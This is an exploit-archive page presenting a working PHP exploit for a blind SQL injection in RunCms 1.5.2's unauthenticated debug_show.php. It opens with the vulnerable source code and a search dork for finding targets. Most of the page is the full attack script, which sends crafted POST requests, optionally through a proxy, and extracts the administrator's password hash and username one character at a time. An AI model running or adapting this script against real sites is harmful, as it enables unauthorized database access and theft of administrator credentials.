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RunCms <= 1.5.2 (debug_show.php) Remote SQL Injection Exploit

Author

rgod

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-1829

Category

web applications

Date add

03-05-2007

Platform

unsorted

=============================================================
RunCms <= 1.5.2 (debug_show.php) Remote SQL Injection Exploit
=============================================================



<?php
print_r('
--------------------------------------------------------------------------
RunCms <= 1.5.2 /class/debug/debug_show.php sql injection / credentials
disclosure exploit
by rgod

dork: "Runcms Copyright" "2002 - 2007" +"page created"
---------------------------------------------------------------------------
');

/*
software site: http://www.runcms.org/modules/news/

vulnerable code in /class/debug/debug_show.php:
<?php
...

include_once("../../mainfile.php");
include_once("../../header.php");

switch($_POST['debug_show']) {
  case "show_files":
    show_files($_POST['loaded_files']);
    break;

  case "show_queries":
    show_queries($_POST['executed_queries'], $_POST['sorted']);
    break;
}

include_once("../../footer.php");
?>

no authentication is performed to run show_files() and show_queries()
functions, look at this now in /class/debug/debug.php:

...
function show_queries($executed_queries, $sorted=0)
{
   global $db;

   $executed_queries = unserialize(urldecode($executed_queries));

   if ($sorted == 1)
   {
      sort($executed_queries);
      $is_sorted = _DBG_SORTEDR;
   }
   else
   {
      array_reverse($executed_queries);
      $is_sorted = _DBG_NSORTEDR;
   }

   OpenTable();

   $fulldebug = "
    <h4>($is_sorted) "._DBG_QEXECED.": ".count($executed_queries)."</h4>
    <table width='100%' cellpadding='3' cellspacing='1'>";

   $size = count($executed_queries);

   for ($i=0; $i<$size; $i++)
   {
      $stime = get_micro_time();

      $query      = $db->query("EXPLAIN ".$executed_queries[$i]."");
      $querytime  = (get_micro_time() - $stime);
      $totaltime += $querytime;

      $fulldebug .= "<tr>
			<td nowrap='nowrap' class='bg2'><b>"._DBG_QUERY.": ".($i+1)."</b></td>
			<td colspan='7' class='bg3'>$executed_queries[$i]</td>
			</tr><tr>
			<td nowrap='nowrap' class='bg2'><b>"._DBG_TIME.":</b></td>
			<td colspan='7' class='bg3'>".round($querytime, 4)." "._DBG_SECONDS."</td>
			</tr><tr>
			<td nowrap='nowrap' class='bg2'><b>"._DBG_TABLE.":</b></td>
			<td nowrap='nowrap' class='bg2'><b>"._DBG_TYPE.":</b></td>
			<td nowrap='nowrap' class='bg2'><b>"._DBG_POSSKEYS.":</b></td>
			<td nowrap='nowrap' class='bg2'><b>"._DBG_KEY.":</b></td>
			<td nowrap='nowrap' class='bg2'><b>"._DBG_KEYLEN.":</b></td>
                        <td nowrap='nowrap' class='bg2'><b>ref:</b></td>
			<td nowrap='nowrap' class='bg2'><b>"._DBG_ROWS.":</b></td>
			<td nowrap='nowrap' class='bg2'><b>"._DBG_EXTRA.":</b></td>
                        </tr>";

      while ($result = $db->fetch_array($query))
      {
         $fulldebug .= " <tr>
			<td class='bg3' nowrap='nowrap' {$result['table']}&nbps;</td>
			<td class='bg3' nowrap='nowrap' {$result['type']}&nbps;</td>
			<td class='bg3'>{$result['possible_keys']}&nbps;</td>
			<td class='bg3' nowrap='nowrap' {$result['key']}&nbps;</td>
			<td class='bg3' nowrap='nowrap' {$result['key_len']}&nbps;</td>
                        <td class='bg3' nowrap='nowrap' {$result['ref']}&nbps;</td>
			<td class='bg3' nowrap='nowrap' {$result['rows']}&nbps;</td>
			<td class='bg3'>{$result['Extra']}&nbps;</td>
                        </tr>";
      }
      $fulldebug .= "<tr>
			<td colspan='8' class='bg1'>"._DBG_CUMULATED.":".round($totaltime, 4)." "._DBG_SECONDS."<hr noshade></td>
			</tr>";
   }

   $fulldebug .= "</table>";

   echo $fulldebug;
   CloseTable();
}
...

we have a nice kind of sql injection here!

also show_files function can be used to check the existence of certain files
and retrieve the filesize or if it has been modified and so on...


*/

if ($argc<3) {
    print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host:      target server (ip/hostname)
path:      path to runcms

Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]:    ""   a proxy
 -T[prefix]      ""   a table prefix (default: runcms)
Example:
php '.$argv[0].' localhost /runcms/ ls -la -P1.1.1.1:80
php '.$argv[0].' localhost /runcms/ ls -la -p81
---------------------------------------------------------------------------
');
    die;
}

error_reporting(7);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function send($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    $parts[1]=(int)$parts[1];
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
$prefix="runcms";

for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=(int)str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
  $prefix=str_replace("-T","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$md5s[0]=0;//null
$md5s=array_merge($md5s,range(48,57)); //numbers
$md5s=array_merge($md5s,range(97,102));//a-f letters
//print_r(array_values($md5s));
echo "md5 hash -> ";
$j=1;$password="";
while (!strstr($password,chr(0))){
    for ($i=0; $i<=255; $i++){
        if (in_array($i,$md5s)){
            $executed_queries=array();
            //original query: EXPLAIN ...
            $executed_queries[0]="SELECT null FROM ".$prefix."_users WHERE 1=(IF((ASCII(SUBSTRING(pass,".$j.",1))=".$i."),1,999999)) AND rank=7 LIMIT 1";
            $sql=urlencode(serialize($executed_queries));
            $sql=str_replace("%22","%2522",$sql);//you know, urldecode()...
            $data ="debug_show=show_queries";
            $data.="&executed_queries=".$sql;
            $data.="&sorted=1";
            $packet ="POST ".$p."class/debug/debug_show.php HTTP/1.0\r\n";
            $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
            $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
            $packet.="Host: ".$host."\r\n";
            $packet.="Content-Length: ".strlen($data)."\r\n";
            $packet.="Pragma: no-cache\r\n";
            $packet.="Connection: Close\r\n\r\n";
            $packet.=$data;
            send($packet);
            if (eregi("_users&nbps;</td>",$html)){$password.=chr($i);echo chr($i); sleep(1); break;}
        }
        if ($i==255) {die("Exploit failed...");}
  }
  $j++;
}
echo "\n";

echo "admin username -> ";
$j=1;$admin_user="";
while (!strstr($admin_user,chr(0))){
    for ($i=0; $i<=255; $i++){
        $executed_queries=array();
        $executed_queries[0]="SELECT null FROM ".$prefix."_users WHERE 1=(IF((ASCII(SUBSTRING(uname,".$j.",1))=".$i."),1,999999)) AND rank=7 LIMIT 1";
        $sql=urlencode(serialize($executed_queries));
        $sql=str_replace("%22","%2522",$sql);
        $data ="debug_show=show_queries";
        $data.="&executed_queries=".$sql;
        $data.="&sorted=1";
        $packet ="POST ".$p."class/debug/debug_show.php HTTP/1.0\r\n";
        $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
        $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
        $packet.="Host: ".$host."\r\n";
        $packet.="Content-Length: ".strlen($data)."\r\n";
        $packet.="Pragma: no-cache\r\n";
        $packet.="Connection: Close\r\n\r\n";
        $packet.=$data;
        send($packet);
        if (eregi("_users&nbps;</td>",$html)){$admin_user.=chr($i);echo chr($i); sleep(1); break;}
    }
    if ($i==255) {die("Exploit failed...");}
    $j++;
}
?>



#  0day.today [2024-11-15]  #

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Please, beware of scammers!

RunCms <= 1.5.2 (debug_show.php) Remote SQL Injection Exploit

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